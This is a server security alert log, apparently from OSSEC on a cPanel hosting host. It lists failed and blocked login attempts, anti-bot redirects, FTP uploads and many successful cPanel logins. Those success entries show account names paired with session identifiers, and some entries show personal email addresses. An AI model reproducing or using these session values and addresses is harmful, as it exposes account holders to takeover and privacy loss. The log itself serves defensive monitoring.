[2026-06-07 03:34:07 +0000] info [cpaneld] 185.213.83.243 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.97.46
country_id: 2363686
description:
[2026-06-07 03:38:00 +0000] info [webmaild] 196.168.97.46 - wiyao.g@inger.tg "POST /cpsess3060873511/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.103.128] != Current IP Address [196.168.97.46]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.91.217
country_id: 6252001
description:
[2026-06-07 03:39:10 +0000] info [cpaneld] 82.40.91.217 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.78.235.26
country_id: 3686110
description:
181.78.235.26 - - [07/Jun/2026:03:40:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527851&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-167827letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803622 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-167827letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.78.235.26


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.77
country_id: 3865483
description:
Jun  7 03:41:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.197
country_id: 3469034
description:
Jun  7 03:42:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.197 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.83.180.142
country_id: 1643084
description:
[2026-06-07 03:43:01 +0000] info [cpaneld] 178.83.180.142 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 03:43:55 +0000] info [cpaneld] 185.213.83.243 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [07/Jun/2026:03:45:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10391965&pdata=http%253A%252F%252Fderou.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803931 HTTP/1.1" 302 0 derou.tg "http://derou.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [07/Jun/2026:03:46:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066121&pdata=https%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803987 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:03:46:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066072&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803979 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [07/Jun/2026:03:46:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9596310&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803976 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:03:47:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791641&pdata=http%253A%252F%252Fdirect7.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780804025 HTTP/1.1" 302 0 direct7.tg "http://direct7.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 6252001
description:
Jun  7 03:47:22 ns5 pure-ftpd[3435654]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.44.169.25
country_id: 2017370
description:
[2026-06-07 03:47:41 +0000] info [cpaneld] 5.44.169.25 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 03:50:28 ns5 pure-ftpd[3438010]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.22.12.54
country_id: 6252001
description:
[2026-06-07 03:51:39 +0000] info [whostmgrd] 134.22.12.54 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.203.46.44
country_id: 2635167
description:
85.203.46.44 - - [07/Jun/2026:03:55:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6342760&pdata=https%253A%252F%252Fwww.test.zephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780804519 HTTP/2.0" 302 0 www.test.zephyr.tg "https://www.test.zephyr.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.203.46.44


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 81.88.147.15
country_id: 1522867
description:
2026-06-07 03:58:45 H=([81.88.147.15]) [81.88.147.15]:52105 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.57.165.112
country_id: 130758
description:
2026-06-07 04:00:35 H=([185.57.165.112]) [185.57.165.112]:13555 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.78.48.117
country_id: 1814991
description:
[2026-06-07 04:03:15 +0000] info [whostmgrd] 113.78.48.117 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 217.113.31.123
country_id: 174982
description:
217.113.31.123 - - [07/Jun/2026:04:05:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196586&pdata=https%253A%252F%252Fdirect7.tg%252Fconference-de-consensus-wake-up-mind-pour-conscientiser-les-jeunes&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780805146 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/conference-de-consensus-wake-up-mind-pour-conscientiser-les-jeunes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:217.113.31.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.150.3.195
country_id: 2077456
description:
[2026-06-07 04:06:43 +0000] info [whostmgrd] 110.150.3.195 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.95.146.73
country_id: 3686110
description:
191.95.146.73 - - [07/Jun/2026:04:10:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289828&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F07%252F01%252Fpaix-dans-les-grands-lacs-faure-gnassingbe-et-lue-resserrent-les-rangs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780805439 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/07/01/paix-dans-les-grands-lacs-faure-gnassingbe-et-lue-resserrent-les-rangs/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2024.1398 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.95.146.73


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.222.71.218
country_id: 3469034
description:
Jun  7 04:12:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.222.71.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.222.71.218
country_id: 3469034
description:
2026-06-07 04:12:24 dovecot_login authenticator failed for H=([187.93.202.22]) [200.222.71.218]:46162: 535 Incorrect authentication data (set_id=j-delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-07 00:48:30 +0000] info [cpaneld] 5.230.153.242 NEW sotragonet:C7_RS3Dba0cRMBHx address=5.230.153.242,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.48
country_id: 2635167
description:
[2026-06-07 01:03:36 +0000] info [cpaneld] 5.230.153.48 NEW qledpnjw:BFxRMeVTagOIMi2Q address=5.230.153.48,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-07 00:48:33 +0000] info [cpaneld] 5.230.153.46 NEW doufelg:Qxt3_SYarr2pZP79 address=5.230.153.46,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-07 00:48:36 +0000] info [cpaneld] 5.230.153.167 NEW qfaclpeg:Rb9CcSTHO9_SUGq1 address=5.230.153.167,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-07 00:48:37 +0000] info [cpaneld] 5.230.153.179 NEW efberwhk:hNhZBm6x_gFZOmcu address=5.230.153.179,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-07 00:51:00 +0000] info [cpaneld] 5.230.153.208 NEW hphhdcxi:kBTGftnSkEeqNuWg address=5.230.153.208,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-07 00:49:21 +0000] info [cpaneld] 5.230.133.117 NEW wwayrzpl:4pqhEnk4HEJOr2aR address=5.230.133.117,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.207.115
country_id: 3469034
description:
Jun  7 03:20:19 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.207.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-07 00:44:12 +0000] info [cpaneld] 5.230.153.227 NEW ecukpqcm:9ZEh7yW26NKvECKl address=5.230.153.227,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:45:49 dovecot_login authenticator failed for H=(yb3RGt9) [141.98.10.24]:65211: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.232
country_id: 6252001
description:
[2026-06-07 00:44:24 +0000] info [cpaneld] 216.189.152.232 NEW yydrdvav:2j0zSy_0tCziSRhr address=216.189.152.232,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-07 00:51:21 +0000] info [cpaneld] 173.211.89.202 NEW zauwogvk:OFuHOe_SvftyB3sk address=173.211.89.202,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-07 00:51:24 +0000] info [cpaneld] 5.230.153.38 NEW mgvybwur:h4WMg0Nu_G4olvBP address=5.230.153.38,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.215
country_id: 2635167
description:
[2026-06-07 00:48:54 +0000] info [cpaneld] 5.230.133.215 NEW pnlpzmfv:xXIukBNDSWO7joBh address=5.230.133.215,app=cpaneld,creator=pnlpzmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-07 00:55:20 +0000] info [cpaneld] 5.231.64.4 NEW sadis:JzmLSPMSEPQS280I address=5.231.64.4,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.209
country_id: 6252001
description:
[2026-06-07 00:49:00 +0000] info [cpaneld] 107.174.169.209 NEW oviaiart:CzOCyE3F8Jbf5Y5l address=107.174.169.209,app=cpaneld,creator=oviaiart,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.133
country_id: 2635167
description:
[2026-06-07 00:44:12 +0000] info [cpaneld] 5.230.133.133 NEW wgqhqbem:nwLIfVRESQyOAt80 address=5.230.133.133,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [07/Jun/2026:04:13:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459539&pdata=http%253A%252F%252Fjvvtdy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780805625 HTTP/1.1" 302 0 jvvtdy.mediatopnews.tg "http://jvvtdy.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.20.67.98
country_id: 783754
description:
Jun  7 00:12:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.20.67.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.21
country_id: 3865483
description:
Jun  7 03:01:25 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.136
country_id: 2635167
description:
[2026-06-07 00:53:02 +0000] info [cpaneld] 5.230.153.136 NEW nerohostfreenetm:TZ4_HyYkfMg5vvKW address=5.230.153.136,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-07 00:56:23 +0000] info [cpaneld] 5.230.153.42 NEW njdbfcnn:aM2pu4n7CDh79PsT address=5.230.153.42,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-07 00:51:14 +0000] info [cpaneld] 107.175.5.43 NEW hgfdcvbnk:F0BoG8LCGheWLNs8 address=107.175.5.43,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.13.8
country_id: 3469034
description:
Jun  7 00:05:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.13.8 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-07 00:53:11 +0000] info [cpaneld] 5.230.153.108 NEW zykoahbv:gyDOkJc6W1n5ST6O address=5.230.153.108,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-07 00:48:49 +0000] info [cpaneld] 5.230.133.223 NEW ttfuehop:C6SZKx3tqS0SjoNe address=5.230.133.223,app=cpaneld,creator=ttfuehop,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.98
country_id: 6252001
description:
[2026-06-07 00:48:53 +0000] info [cpaneld] 107.175.5.98 NEW libertepansel:swO7wWnodlAo7eXV address=107.175.5.98,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.145
country_id: 6252001
description:
[2026-06-07 00:48:33 +0000] info [cpaneld] 173.211.88.145 NEW mipbtgnb:LoegXVDMvZOF3NmJ address=173.211.88.145,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.163
country_id: 3017382
description:
[2026-06-07 00:48:28 +0000] info [cpaneld] 5.231.255.163 NEW hgfdcvbnk:Zoq6hWoC6SPj5BJS address=5.231.255.163,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-07 00:56:22 +0000] info [cpaneld] 5.230.133.158 NEW mgvybwur:MwchKFP513noLIbQ address=5.230.133.158,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-07 00:51:28 +0000] info [cpaneld] 5.230.133.148 NEW rdlizssu:K7fWEWVBsgeKtcsr address=5.230.133.148,app=cpaneld,creator=rdlizssu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.13
country_id: 2635167
description:
[2026-06-07 00:57:13 +0000] info [cpaneld] 5.230.153.13 NEW ljrwwgxg:UTCChggpAaa1aJZM address=5.230.153.13,app=cpaneld,creator=ljrwwgxg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.102
country_id: 6252001
description:
[2026-06-07 00:48:39 +0000] info [cpaneld] 64.44.59.102 NEW jdzxeovw:Inx63P2Fljf0_SMO address=64.44.59.102,app=cpaneld,creator=jdzxeovw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-07 00:56:29 +0000] info [cpaneld] 5.230.133.216 NEW tgkkwsvr:9qYeCCrD3fMb5Cuo address=5.230.133.216,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-07 00:52:53 +0000] info [cpaneld] 5.230.133.89 NEW dvhzmira:cD0VcOxJk4q4BPVW address=5.230.133.89,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-07 00:56:19 +0000] info [cpaneld] 5.230.153.154 NEW rbnbkmre:7x16MxISxrPH2KdL address=5.230.153.154,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.42
country_id: 2635167
description:
[2026-06-07 00:53:09 +0000] info [cpaneld] 5.230.133.42 NEW ylhgcaui:TMiQkRvYIUeoeimi address=5.230.133.42,app=cpaneld,creator=ylhgcaui,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-07 00:52:52 +0000] info [cpaneld] 64.44.59.71 NEW sotragonet:4b_6vTjw8Tn8hhBL address=64.44.59.71,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-07 00:26:34 +0000] info [cpaneld] 5.230.133.225 NEW dmmkifel:9j1SB2hc6OQPMXsW address=5.230.133.225,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-07 00:55:07 +0000] info [cpaneld] 5.230.153.229 NEW zsfyjiji:S1fQsL_JndbZDhL9 address=5.230.153.229,app=cpaneld,creator=zsfyjiji,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-07 00:56:31 +0000] info [cpaneld] 5.231.64.100 NEW gemwjxuz:u3eWijRnD3XC4NZg address=5.231.64.100,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-07 00:48:41 +0000] info [cpaneld] 5.230.133.240 NEW newistm:YTJqEcalbru2WSyT address=5.230.133.240,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-07 00:55:06 +0000] info [cpaneld] 5.231.64.90 NEW nadngfzn:jaDhBxVb76CBXA2K address=5.231.64.90,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.184
country_id: 6252001
description:
[2026-06-07 00:48:35 +0000] info [cpaneld] 64.44.59.184 NEW frtwilql:mLJf1ikyeeFB7QM4 address=64.44.59.184,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.253
country_id: 2635167
description:
[2026-06-07 00:50:39 +0000] info [cpaneld] 5.230.133.253 NEW sahamtg:TdA_DT_weJKgh2g3 address=5.230.133.253,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.245
country_id: 3017382
description:
[2026-06-07 00:51:17 +0000] info [cpaneld] 5.231.255.245 NEW libertepansel:g8oZmviKbw0MKBds address=5.231.255.245,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.213.202.112
country_id: 1643084
description:
[2026-06-07 04:14:52 +0000] info [whostmgrd] 140.213.202.112 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun  7 04:16:35 ns5 pure-ftpd[3457750]: (admin@dagl.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/myxlsnta/public_html/index.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun  7 04:16:44 ns5 pure-ftpd[3457825]: (admin@dagl.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/myxlsnta/public_html/index.html uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun  7 04:16:54 ns5 pure-ftpd[3457925]: (admin@dagl.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/myxlsnta/public_html/index.html uploaded  (303665 bytes, 538.81KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.137.36.126
country_id: 2635167
description:
[2026-06-07 04:23:18 +0000] info [whostmgrd] 185.137.36.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-06-07 04:28:35 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:42560: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jun  7 04:28:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.47.56.47
country_id: 1168579
description:
Jun  7 04:28:38 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.47.56.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.89.160.89
country_id: 6252001
description:
Jun  7 04:27:57 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.89.160.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.160.89
country_id: 6252001
description:
2026-06-07 04:27:59 dovecot_login authenticator failed for H=(otr.tg) [64.89.160.89]:61385: 535 Incorrect authentication data (set_id=knousrougbo@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.47.56.47
country_id: 1168579
description:
2026-06-07 04:28:40 dovecot_plain authenticator failed for H=(localhost) [202.47.56.47]:60029: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.160.89
country_id: 6252001
description:
2026-06-07 04:28:58 dovecot_login authenticator failed for H=(ccit.tg) [64.89.160.89]:56768: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.89.160.89
country_id: 6252001
description:
Jun  7 04:28:56 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.89.160.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.37.75.252
country_id: 1269750
description:
2026-06-07 04:35:16 dovecot_plain authenticator failed for H=(localhost) [49.37.75.252]:64940: 535 Incorrect authentication data (set_id=xybyrewi@sodigaz.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.76.139.237
country_id: 6252001
description:
